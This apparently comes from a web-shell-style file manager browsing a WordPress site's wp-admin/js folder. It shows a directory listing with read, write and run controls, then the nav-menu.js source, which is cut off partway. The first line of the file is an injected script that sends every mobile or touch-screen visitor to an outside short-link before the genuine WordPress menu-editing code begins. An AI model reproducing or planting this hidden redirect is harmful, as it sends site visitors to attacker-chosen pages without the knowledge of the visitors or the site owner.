at path:ROOT / wp-admin / js / nav-menu.js
run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄nav-menu.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * WordPress Administration Navigation Menu
4 * Interface JS functions
5 *
6 * @version 2.0.0
7 *
8 * @package WordPress
9 * @subpackage Administration
10 * @output wp-admin/js/nav-menu.js
11 */
12
13/* global menus, postboxes, columns, isRtl, ajaxurl, wpNavMenu */
14
15(function($) {
16
17 var api;
18
19 /**
20 * Contains all the functions to handle WordPress navigation menus administration.
21 *
22 * @namespace wpNavMenu
23 */
24 api = window.wpNavMenu = {
25
26 options : {
27 menuItemDepthPerLevel : 30, // Do not use directly. Use depthToPx and pxToDepth instead.
28 globalMaxDepth: 11,
29 sortableItems: '> *',
30 targetTolerance: 0
31 },
32
33 menuList : undefined, // Set in init.
34 targetList : undefined, // Set in init.
35 menusChanged : false,
36 isRTL: !! ( 'undefined' != typeof isRtl && isRtl ),
37 negateIfRTL: ( 'undefined' != typeof isRtl && isRtl ) ? -1 : 1,
38 lastSearch: '',
39
40 // Functions that run on init.
41 init : function() {
42 api.menuList = $('#menu-to-edit');
43 api.targetList = api.menuList;
44
45 this.jQueryExtensions();
46
47 this.attachMenuEditListeners();
48
49 this.attachBulkSelectButtonListeners();
50 this.attachMenuCheckBoxListeners();
51 this.attachMenuItemDeleteButton();
52 this.attachPendingMenuItemsListForDeletion();
53
54 this.attachQuickSearchListeners();
55 this.attachThemeLocationsListeners();
56 this.attachMenuSaveSubmitListeners();
57
58 this.attachTabsPanelListeners();
59
60 this.attachUnsavedChangesListener();
61
62 if ( api.menuList.length )
63 this.initSortables();
64
65 if ( menus.oneThemeLocationNoMenus )
66 $( '#posttype-page' ).addSelectedToMenu( api.addMenuItemToBottom );
67
68 this.initManageLocations();
69
70 this.initAccessibility();
71
72 this.initToggles();
73
74 this.initPreviewing();
75 },
76
77 jQueryExtensions : function() {
78 // jQuery extensions.
79 $.fn.extend({
80 menuItemDepth : function() {
81 var margin = api.isRTL ? this.eq(0).css('margin-right') : this.eq(0).css('margin-left');
82 return api.pxToDepth( margin && -1 != margin.indexOf('px') ? margin.slice(0, -2) : 0 );
83 },
84 updateDepthClass : function(current, prev) {
85 return this.each(function(){
86 var t = $(this);
87 prev = prev || t.menuItemDepth();
88 $(this).removeClass('menu-item-depth-'+ prev )
89 .addClass('menu-item-depth-'+ current );
90 });
91 },
92 shiftDepthClass : function(change) {
93 return this.each(function(){
94 var t = $(this),
95 depth = t.menuItemDepth(),
96 newDepth = depth + change;
97
98 t.removeClass( 'menu-item-depth-'+ depth )
99 .addClass( 'menu-item-depth-'+ ( newDepth ) );
100
101 if ( 0 === newDepth ) {
102 t.find( '.is-submenu' ).hide();
103 }
104 });
105 },
106 childMenuItems : function() {
107 var result = $();
108 this.each(function(){
109 var t = $(this), depth = t.menuItemDepth(), next = t.next( '.menu-item' );
110 while( next.length && next.menuItemDepth() > depth ) {
111 result = result.add( next );
112 next = next.next( '.menu-item' );
113 }
114 });
115 return result;
116 },
117 shiftHorizontally : function( dir ) {
118 return this.each(function(){
119 var t = $(this),
120 depth = t.menuItemDepth(),
121 newDepth = depth + dir;
122
123 // Change .menu-item-depth-n class.
124 t.moveHorizontally( newDepth, depth );
125 });
126 },
127 moveHorizontally : function( newDepth, depth ) {
128 return this.each(function(){
129 var t = $(this),
130 children = t.childMenuItems(),
131 diff = newDepth - depth,
132 subItemText = t.find('.is-submenu');
133
134 // Change .menu-item-depth-n class.
135 t.updateDepthClass( newDepth, depth ).updateParentMenuItemDBId();
136
137 // If it has children, move those too.
138 if ( children ) {
139 children.each(function() {
140 var t = $(this),
141 thisDepth = t.menuItemDepth(),
142 newDepth = thisDepth + diff;
143 t.updateDepthClass(newDepth, thisDepth).updateParentMenuItemDBId();
144 });
145 }
146
147 // Show "Sub item" helper text.
148 if (0 === newDepth)
149 subItemText.hide();
150 else
151 subItemText.show();
152 });
153 },
154 updateParentMenuItemDBId : function() {
155 return this.each(function(){
156 var item = $(this),
157 input = item.find( '.menu-item-data-parent-id' ),
158 depth = parseInt( item.menuItemDepth(), 10 ),
159 parentDepth = depth - 1,
160 parent = item.prevAll( '.menu-item-depth-' + parentDepth ).first();
161
162 if ( 0 === depth ) { // Item is on the top level, has no parent.
163 input.val(0);
164 } else { // Find the parent item, and retrieve its object id.
165 input.val( parent.find( '.menu-item-data-db-id' ).val() );
166 }
167 });
168 },
169 hideAdvancedMenuItemFields : function() {
170 return this.each(function(){
171 var that = $(this);
172 $('.hide-column-tog').not(':checked').each(function(){
173 that.find('.field-' + $(this).val() ).addClass('hidden-field');
174 });
175 });
176 },
177 /**
178 * Adds selected menu items to the menu.
179 *
180 * @ignore
181 *
182 * @param jQuery metabox The metabox jQuery object.
183 */
184 addSelectedToMenu : function(processMethod) {
185 if ( 0 === $('#menu-to-edit').length ) {
186 return false;
187 }
188
189 return this.each(function() {
190 var t = $(this), menuItems = {},
191 checkboxes = ( menus.oneThemeLocationNoMenus && 0 === t.find( '.tabs-panel-active .categorychecklist li input:checked' ).length ) ? t.find( '#page-all li input[type="checkbox"]' ) : t.find( '.tabs-panel-active .categorychecklist li input:checked' ),
192 re = /menu-item\[([^\]]*)/;
193
194 processMethod = processMethod || api.addMenuItemToBottom;
195
196 // If no items are checked, bail.
197 if ( !checkboxes.length )
198 return false;
199
200 // Show the Ajax spinner.
201 t.find( '.button-controls .spinner' ).addClass( 'is-active' );
202
203 // Retrieve menu item data.
204 $(checkboxes).each(function(){
205 var t = $(this),
206 listItemDBIDMatch = re.exec( t.attr('name') ),
207 listItemDBID = 'undefined' == typeof listItemDBIDMatch[1] ? 0 : parseInt(listItemDBIDMatch[1], 10);
208
209 if ( this.className && -1 != this.className.indexOf('add-to-top') )
210 processMethod = api.addMenuItemToTop;
211 menuItems[listItemDBID] = t.closest('li').getItemData( 'add-menu-item', listItemDBID );
212 });
213
214 // Add the items.
215 api.addItemToMenu(menuItems, processMethod, function(){
216 // Deselect the items and hide the Ajax spinner.
217 checkboxes.prop( 'checked', false );
218 t.find( '.button-controls .select-all' ).prop( 'checked', false );
219 t.find( '.button-controls .spinner' ).removeClass( 'is-active' );
220 t.updateParentDropdown();
221 t.updateOrderDropdown();
222 });
223 });
224 },
225 getItemData : function( itemType, id ) {
226 itemType = itemType || 'menu-item';
227
228 var itemData = {}, i,
229 fields = [
230 'menu-item-db-id',
231 'menu-item-object-id',
232 'menu-item-object',
233 'menu-item-parent-id',
234 'menu-item-position',
235 'menu-item-type',
236 'menu-item-title',
237 'menu-item-url',
238 'menu-item-description',
239 'menu-item-attr-title',
240 'menu-item-target',
241 'menu-item-classes',
242 'menu-item-xfn'
243 ];
244
245 if( !id && itemType == 'menu-item' ) {
246 id = this.find('.menu-item-data-db-id').val();
247 }
248
249 if( !id ) return itemData;
250
251 this.find('input').each(function() {
252 var field;
253 i = fields.length;
254 while ( i-- ) {
255 if( itemType == 'menu-item' )
256 field = fields[i] + '[' + id + ']';
257 else if( itemType == 'add-menu-item' )
258 field = 'menu-item[' + id + '][' + fields[i] + ']';
259
260 if (
261 this.name &&
262 field == this.name
263 ) {
264 itemData[fields[i]] = this.value;
265 }
266 }
267 });
268
269 return itemData;
270 },
271 setItemData : function( itemData, itemType, id ) { // Can take a type, such as 'menu-item', or an id.
272 itemType = itemType || 'menu-item';
273
274 if( !id && itemType == 'menu-item' ) {
275 id = $('.menu-item-data-db-id', this).val();
276 }
277
278 if( !id ) return this;
279
280 this.find('input').each(function() {
281 var t = $(this), field;
282 $.each( itemData, function( attr, val ) {
283 if( itemType == 'menu-item' )
284 field = attr + '[' + id + ']';
285 else if( itemType == 'add-menu-item' )
286 field = 'menu-item[' + id + '][' + attr + ']';
287
288 if ( field == t.attr('name') ) {
289 t.val( val );
290 }
291 });
292 });
293 return this;
294 },
295 updateParentDropdown : function() {
296 return this.each(function(){
297 var menuItems = $( '#menu-to-edit li' ),
298 parentDropdowns = $( '.edit-menu-item-parent' );
299
300 $.each( parentDropdowns, function() {
301 var parentDropdown = $( this ),
302 currentItemID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-db-id' ).val() ),
303 currentParentID = parseInt( parentDropdown.closest( 'li.menu-item' ).find( '.menu-item-data-parent-id' ).val() ),
304 currentItem = parentDropdown.closest( 'li.menu-item' ),
305 currentMenuItemChild = currentItem.childMenuItems(),
306 excludeMenuItem = /** @type {number[]} */ [ currentItemID ];
307
308 parentDropdown.empty();
309
310 if ( currentMenuItemChild.length > 0 ) {
311 $.each( currentMenuItemChild, function(){
312 var childItem = $(this),
313 childID = parseInt( childItem.find( '.menu-item-data-db-id' ).val() );
314
315 excludeMenuItem.push( childID );
316 });
317 }
318
319 parentDropdown.append(
320 $( '<option>', {
321 value: '0',
322 selected: currentParentID === 0,
323 text: wp.i18n._x( 'No Parent', 'menu item without a parent in navigation menu' ),
324 } )
325 );
326
327 $.each( menuItems, function() {
328 var menuItem = $(this),
329 menuID = parseInt( menuItem.find( '.menu-item-data-db-id' ).val() ),
330 menuTitle = menuItem.find( '.edit-menu-item-title' ).val();
331
332 if ( ! excludeMenuItem.includes( menuID ) ) {
333 parentDropdown.append(
334 $( '<option>', {
335 value: menuID.toString(),
336 selected: currentParentID === menuID,
337 text: menuTitle,
338 } )
339 );
340 }
341 });
342 });
343
344 });
345 },
346 updateOrderDropdown : function() {
347 return this.each( function() {
348 var itemPosition,
349 orderDropdowns = $( '.edit-menu-item-order' );
350
351 $.each( orderDropdowns, function() {
352 var orderDropdown = $( this ),
353 menuItem = orderDropdown.closest( 'li.menu-item' ).first(),
354 depth = menuItem.menuItemDepth(),
355 isPrimaryMenuItem = ( 0 === depth );
356
357 orderDropdown.empty();
358
359 if ( isPrimaryMenuItem ) {
360 var primaryItems = $( '.menu-item-depth-0' ),
361 totalMenuItems = primaryItems.length;
362
363 itemPosition = primaryItems.index( menuItem ) + 1;
364
365 for ( let i = 1; i < totalMenuItems + 1; i++ ) {
366 var itemString = wp.i18n.sprintf(
367 /* translators: 1: The current menu item number, 2: The total number of menu items. */
368 wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ),
369 i,
370 totalMenuItems
371 );
372 orderDropdown.append(
373 $( '<option>', {
374 selected: i === itemPosition,
375 value: i.toString(),
376 text: itemString,
377 } )
378 );
379 }
380
381 } else {
382 var parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
383 parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
384 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
385 totalSubMenuItems = subItems.length;
386
387 itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;
388
389 for ( let i = 1; i < totalSubMenuItems + 1; i++ ) {
390 var submenuString = wp.i18n.sprintf(
391 /* translators: 1: The current submenu item number, 2: The total number of submenu items. */
392 wp.i18n._x( '%1$s of %2$s', 'part of a total number of menu items' ),
393 i,
394 totalSubMenuItems
395 );
396 orderDropdown.append(
397 $( '<option>', {
398 selected: i === itemPosition,
399 value: i.toString(),
400 text: submenuString,
401 } )
402 );
403 }
404
405 }
406 });
407
408 });
409 }
410 });
411 },
412
413 countMenuItems : function( depth ) {
414 return $( '.menu-item-depth-' + depth ).length;
415 },
416
417 moveMenuItem : function( $this, dir ) {
418 var items, newItemPosition, newDepth,
419 menuItems = $( '#menu-to-edit li' ),
420 menuItemsCount = menuItems.length,
421 thisItem = $this.parents( 'li.menu-item' ),
422 thisItemChildren = thisItem.childMenuItems(),
423 thisItemData = thisItem.getItemData(),
424 thisItemDepth = parseInt( thisItem.menuItemDepth(), 10 ),
425 thisItemPosition = parseInt( thisItem.index(), 10 ),
426 nextItem = thisItem.next(),
427 nextItemChildren = nextItem.childMenuItems(),
428 nextItemDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1,
429 prevItem = thisItem.prev(),
430 prevItemDepth = parseInt( prevItem.menuItemDepth(), 10 ),
431 prevItemId = prevItem.getItemData()['menu-item-db-id'],
432 a11ySpeech = menus[ 'moved' + dir.charAt(0).toUpperCase() + dir.slice(1) ];
433
434 switch ( dir ) {
435 case 'up':
436 newItemPosition = thisItemPosition - 1;
437
438 // Already at top.
439 if ( 0 === thisItemPosition )
440 break;
441
442 // If a sub item is moved to top, shift it to 0 depth.
443 if ( 0 === newItemPosition && 0 !== thisItemDepth )
444 thisItem.moveHorizontally( 0, thisItemDepth );
445
446 // If prev item is sub item, shift to match depth.
447 if ( 0 !== prevItemDepth )
448 thisItem.moveHorizontally( prevItemDepth, thisItemDepth );
449
450 // Does this item have sub items?
451 if ( thisItemChildren ) {
452 items = thisItem.add( thisItemChildren );
453 // Move the entire block.
454 items.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
455 } else {
456 thisItem.detach().insertBefore( menuItems.eq( newItemPosition ) ).updateParentMenuItemDBId();
457 }
458 break;
459 case 'down':
460 // Does this item have sub items?
461 if ( thisItemChildren ) {
462 items = thisItem.add( thisItemChildren ),
463 nextItem = menuItems.eq( items.length + thisItemPosition ),
464 nextItemChildren = 0 !== nextItem.childMenuItems().length;
465
466 if ( nextItemChildren ) {
467 newDepth = parseInt( nextItem.menuItemDepth(), 10 ) + 1;
468 thisItem.moveHorizontally( newDepth, thisItemDepth );
469 }
470
471 // Have we reached the bottom?
472 if ( menuItemsCount === thisItemPosition + items.length )
473 break;
474
475 items.detach().insertAfter( menuItems.eq( thisItemPosition + items.length ) ).updateParentMenuItemDBId();
476 } else {
477 // If next item has sub items, shift depth.
478 if ( 0 !== nextItemChildren.length )
479 thisItem.moveHorizontally( nextItemDepth, thisItemDepth );
480
481 // Have we reached the bottom?
482 if ( menuItemsCount === thisItemPosition + 1 )
483 break;
484 thisItem.detach().insertAfter( menuItems.eq( thisItemPosition + 1 ) ).updateParentMenuItemDBId();
485 }
486 break;
487 case 'top':
488 // Already at top.
489 if ( 0 === thisItemPosition )
490 break;
491 // Does this item have sub items?
492 if ( thisItemChildren ) {
493 items = thisItem.add( thisItemChildren );
494 // Move the entire block.
495 items.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
496 } else {
497 thisItem.detach().insertBefore( menuItems.eq( 0 ) ).updateParentMenuItemDBId();
498 }
499 break;
500 case 'left':
501 // As far left as possible.
502 if ( 0 === thisItemDepth )
503 break;
504 thisItem.shiftHorizontally( -1 );
505 break;
506 case 'right':
507 // Can't be sub item at top.
508 if ( 0 === thisItemPosition )
509 break;
510 // Already sub item of prevItem.
511 if ( thisItemData['menu-item-parent-id'] === prevItemId )
512 break;
513 thisItem.shiftHorizontally( 1 );
514 break;
515 }
516 $this.trigger( 'focus' );
517 api.registerChange();
518 api.refreshKeyboardAccessibility();
519 api.refreshAdvancedAccessibility();
520 thisItem.updateParentDropdown();
521 thisItem.updateOrderDropdown();
522
523 if ( a11ySpeech ) {
524 wp.a11y.speak( a11ySpeech );
525 }
526 },
527
528 initAccessibility : function() {
529 var menu = $( '#menu-to-edit' );
530
531 api.refreshKeyboardAccessibility();
532 api.refreshAdvancedAccessibility();
533
534 // Refresh the accessibility when the user comes close to the item in any way.
535 menu.on( 'mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility' , '.menu-item' , function(){
536 api.refreshAdvancedAccessibilityOfItem( $( this ).find( 'a.item-edit' ) );
537 } );
538
539 // We have to update on click as well because we might hover first, change the item, and then click.
540 menu.on( 'click', 'a.item-edit', function() {
541 api.refreshAdvancedAccessibilityOfItem( $( this ) );
542 } );
543
544 // Links for moving items.
545 menu.on( 'click', '.menus-move', function () {
546 var $this = $( this ),
547 dir = $this.data( 'dir' );
548
549 if ( 'undefined' !== typeof dir ) {
550 api.moveMenuItem( $( this ).parents( 'li.menu-item' ).find( 'a.item-edit' ), dir );
551 }
552 });
553
554 // Set menu parents data for all menu items.
555 menu.updateParentDropdown();
556
557 // Set menu order data for all menu items.
558 menu.updateOrderDropdown();
559
560 // Update menu item parent when value is changed.
561 menu.on( 'change', '.edit-menu-item-parent', function() {
562 api.changeMenuParent( $( this ) );
563 });
564
565 // Update menu item order when value is changed.
566 menu.on( 'change', '.edit-menu-item-order', function() {
567 api.changeMenuOrder( $( this ) );
568 });
569 },
570
571 /**
572 * changeMenuParent( [parentDropdown] )
573 *
574 * @since 6.7.0
575 *
576 * @param {object} parentDropdown select field
577 */
578 changeMenuParent : function( parentDropdown ) {
579 var menuItemNewPosition,
580 menuItems = $( '#menu-to-edit li' ),
581 $this = $( parentDropdown ),
582 newParentID = $this.val(),
583 menuItem = $this.closest( 'li.menu-item' ).first(),
584 menuItemOldDepth = menuItem.menuItemDepth(),
585 menuItemChildren = menuItem.childMenuItems(),
586 menuItemNoChildren = parseInt( menuItem.childMenuItems().length, 10 ),
587 parentItem = $( '#menu-item-' + newParentID ),
588 parentItemDepth = parentItem.menuItemDepth(),
589 menuItemNewDepth = parseInt( parentItemDepth ) + 1;
590
591 if ( newParentID == 0 ) {
592 menuItemNewDepth = 0;
593 }
594
595 menuItem.find( '.menu-item-data-parent-id' ).val( newParentID );
596 menuItem.moveHorizontally( menuItemNewDepth, menuItemOldDepth );
597
598 if ( menuItemNoChildren > 0 ) {
599 menuItem = menuItem.add( menuItemChildren );
600 }
601 menuItem.detach();
602
603 menuItems = $( '#menu-to-edit li' );
604
605 var parentItemPosition = parseInt( parentItem.index(), 10 ),
606 parentItemNoChild = parseInt( parentItem.childMenuItems().length, 10 );
607
608 if ( parentItemNoChild > 0 ){
609 menuItemNewPosition = parentItemPosition + parentItemNoChild;
610 } else {
611 menuItemNewPosition = parentItemPosition;
612 }
613
614 if ( newParentID == 0 ) {
615 menuItemNewPosition = menuItems.length - 1;
616 }
617
618 menuItem.insertAfter( menuItems.eq( menuItemNewPosition ) ).updateParentMenuItemDBId().updateParentDropdown().updateOrderDropdown();
619
620 api.registerChange();
621 api.refreshKeyboardAccessibility();
622 api.refreshAdvancedAccessibility();
623 $this.trigger( 'focus' );
624 wp.a11y.speak( menus.parentUpdated, 'polite' );
625 },
626
627 /**
628 * changeMenuOrder( [OrderDropdown] )
629 *
630 * @since 6.7.0
631 *
632 * @param {object} orderDropdown select field
633 */
634 changeMenuOrder : function( orderDropdown ) {
635 var menuItems = $( '#menu-to-edit li' ),
636 $this = $( orderDropdown ),
637 newOrderID = parseInt( $this.val(), 10),
638 menuItem = $this.closest( 'li.menu-item' ).first(),
639 menuItemChildren = menuItem.childMenuItems(),
640 menuItemNoChildren = menuItemChildren.length,
641 menuItemCurrentPosition = parseInt( menuItem.index(), 10 ),
642 parentItemID = menuItem.find( '.menu-item-data-parent-id' ).val(),
643 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemID + '"]' ),
644 currentItemAtPosition = $(subItems[newOrderID - 1]).closest( 'li.menu-item' );
645
646 if ( menuItemNoChildren > 0 ) {
647 menuItem = menuItem.add( menuItemChildren );
648 }
649
650 var currentItemNoChildren = currentItemAtPosition.childMenuItems().length,
651 currentItemPosition = parseInt( currentItemAtPosition.index(), 10 );
652
653 menuItems = $( '#menu-to-edit li' );
654
655 var menuItemNewPosition = currentItemPosition;
656
657 if(menuItemCurrentPosition > menuItemNewPosition){
658 menuItemNewPosition = currentItemPosition;
659 menuItem.detach().insertBefore( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown();
660 } else {
661 menuItemNewPosition = menuItemNewPosition + currentItemNoChildren;
662 menuItem.detach().insertAfter( menuItems.eq( menuItemNewPosition ) ).updateOrderDropdown();
663 }
664
665 api.registerChange();
666 api.refreshKeyboardAccessibility();
667 api.refreshAdvancedAccessibility();
668 $this.trigger( 'focus' );
669 wp.a11y.speak( menus.orderUpdated, 'polite' );
670 },
671
672 /**
673 * refreshAdvancedAccessibilityOfItem( [itemToRefresh] )
674 *
675 * Refreshes advanced accessibility buttons for one menu item.
676 * Shows or hides buttons based on the location of the menu item.
677 *
678 * @param {Object} itemToRefresh The menu item that might need its advanced accessibility buttons refreshed
679 */
680 refreshAdvancedAccessibilityOfItem : function( itemToRefresh ) {
681
682 // Only refresh accessibility when necessary.
683 if ( true !== $( itemToRefresh ).data( 'needs_accessibility_refresh' ) ) {
684 return;
685 }
686
687 var thisLink, thisLinkText, primaryItems, itemPosition, title,
688 parentItem, parentItemId, parentItemName, subItems, totalSubItems,
689 $this = $( itemToRefresh ),
690 menuItem = $this.closest( 'li.menu-item' ).first(),
691 depth = menuItem.menuItemDepth(),
692 isPrimaryMenuItem = ( 0 === depth ),
693 itemName = $this.closest( '.menu-item-handle' ).find( '.menu-item-title' ).text(),
694 menuItemType = $this.closest( '.menu-item-handle' ).find( '.item-controls' ).find( '.item-type' ).text(),
695 position = parseInt( menuItem.index(), 10 ),
696 prevItemDepth = ( isPrimaryMenuItem ) ? depth : parseInt( depth - 1, 10 ),
697 prevItemNameLeft = menuItem.prevAll('.menu-item-depth-' + prevItemDepth).first().find( '.menu-item-title' ).text(),
698 prevItemNameRight = menuItem.prevAll('.menu-item-depth-' + depth).first().find( '.menu-item-title' ).text(),
699 totalMenuItems = $('#menu-to-edit li').length,
700 hasSameDepthSibling = menuItem.nextAll( '.menu-item-depth-' + depth ).length;
701
702 menuItem.find( '.field-move' ).toggle( totalMenuItems > 1 );
703
704 // Where can they move this menu item?
705 if ( 0 !== position ) {
706 thisLink = menuItem.find( '.menus-move-up' );
707 thisLink.attr( 'aria-label', menus.moveUp ).css( 'display', 'inline' );
708 }
709
710 if ( 0 !== position && isPrimaryMenuItem ) {
711 thisLink = menuItem.find( '.menus-move-top' );
712 thisLink.attr( 'aria-label', menus.moveToTop ).css( 'display', 'inline' );
713 }
714
715 if ( position + 1 !== totalMenuItems && 0 !== position ) {
716 thisLink = menuItem.find( '.menus-move-down' );
717 thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
718 }
719
720 if ( 0 === position && 0 !== hasSameDepthSibling ) {
721 thisLink = menuItem.find( '.menus-move-down' );
722 thisLink.attr( 'aria-label', menus.moveDown ).css( 'display', 'inline' );
723 }
724
725 if ( ! isPrimaryMenuItem ) {
726 thisLink = menuItem.find( '.menus-move-left' ),
727 thisLinkText = menus.outFrom.replace( '%s', prevItemNameLeft );
728 thisLink.attr( 'aria-label', menus.moveOutFrom.replace( '%s', prevItemNameLeft ) ).text( thisLinkText ).css( 'display', 'inline' );
729 }
730
731 if ( 0 !== position ) {
732 if ( menuItem.find( '.menu-item-data-parent-id' ).val() !== menuItem.prev().find( '.menu-item-data-db-id' ).val() ) {
733 thisLink = menuItem.find( '.menus-move-right' ),
734 thisLinkText = menus.under.replace( '%s', prevItemNameRight );
735 thisLink.attr( 'aria-label', menus.moveUnder.replace( '%s', prevItemNameRight ) ).text( thisLinkText ).css( 'display', 'inline' );
736 }
737 }
738
739 if ( isPrimaryMenuItem ) {
740 primaryItems = $( '.menu-item-depth-0' ),
741 itemPosition = primaryItems.index( menuItem ) + 1,
742 totalMenuItems = primaryItems.length,
743 // String together help text for primary menu items.
744 title = menus.menuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalMenuItems );
745 } else {
746 parentItem = menuItem.prevAll( '.menu-item-depth-' + parseInt( depth - 1, 10 ) ).first(),
747 parentItemId = parentItem.find( '.menu-item-data-db-id' ).val(),
748 parentItemName = parentItem.find( '.menu-item-title' ).text(),
749 subItems = $( '.menu-item .menu-item-data-parent-id[value="' + parentItemId + '"]' ),
750 totalSubItems = subItems.length,
751 itemPosition = $( subItems.parents('.menu-item').get().reverse() ).index( menuItem ) + 1;
752
753 // String together help text for sub menu items.
754 if ( depth < 2 ) {
755 title = menus.subMenuFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName );
756 } else {
757 title = menus.subMenuMoreDepthFocus.replace( '%1$s', itemName ).replace( '%2$s', menuItemType ).replace( '%3$d', itemPosition ).replace( '%4$d', totalSubItems ).replace( '%5$s', parentItemName ).replace( '%6$d', depth );
758 }
759 }
760
761 $this.attr( 'aria-label', title );
762
763 // Mark this item's accessibility as refreshed.
764 $this.data( 'needs_accessibility_refresh', false );
765 },
766
767 /**
768 * refreshAdvancedAccessibility
769 *
770 * Hides all advanced accessibility buttons and marks them for refreshing.
771 */
772 refreshAdvancedAccessibility : function() {
773
774 // Hide all the move buttons by default.
775 $( '.menu-item-settings .field-move .menus-move' ).hide();
776
777 // Mark all menu items as unprocessed.
778 $( 'a.item-edit' ).data( 'needs_accessibility_refresh', true );
779
